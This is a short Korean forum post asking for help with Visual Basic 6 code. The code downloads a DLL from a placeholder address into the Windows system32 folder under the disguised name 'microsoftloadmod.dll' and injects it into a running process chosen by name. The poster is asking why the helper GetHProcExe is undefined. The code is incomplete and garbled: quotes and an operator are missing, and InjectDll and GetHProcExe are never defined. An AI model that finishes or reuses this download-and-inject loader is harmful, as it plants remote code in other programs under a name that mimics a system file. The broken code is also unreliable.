수다닷컴

Private Declare Function FindWindow Lib user32.dll Alias FindWindowA ( _
ByVal lpClassName As String, _
ByVal lpWindowName As String) As Long
Option Explicit
Private Declare Function URLDownloadToFile Lib urlmon Alias URLDownloadToFileA (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Const ERROR_SUCCESS As Long = 0
Private Const BINDF_GETNEWESTVERSION As Long = &H10
Private Const INTERNET_FLAG_RELOAD As Long = &H80000000
Dim ProcH As Long
Dim DLL_PATH As String
Dim URL As String이게 지금 정의한거고Private Sub Timer5_Timer()
ProcH = GetHProcExe(프로세스)
If ProcH 0 Then
DLL_PATH = Environ(systemroot) & \system32\microsoftloadmod.dll
URL = 주소
Call URLDownloadToFile(0, URL, DLL_PATH, 0, 0)
Call InjectDll(DLL_PATH, ProcH)
Label2.Caption = 성공
Timer5.Enabled = False
End
End If
End SubGetHProcExe에서 오류뜨구요펑션정의가 안됏대요

신청하기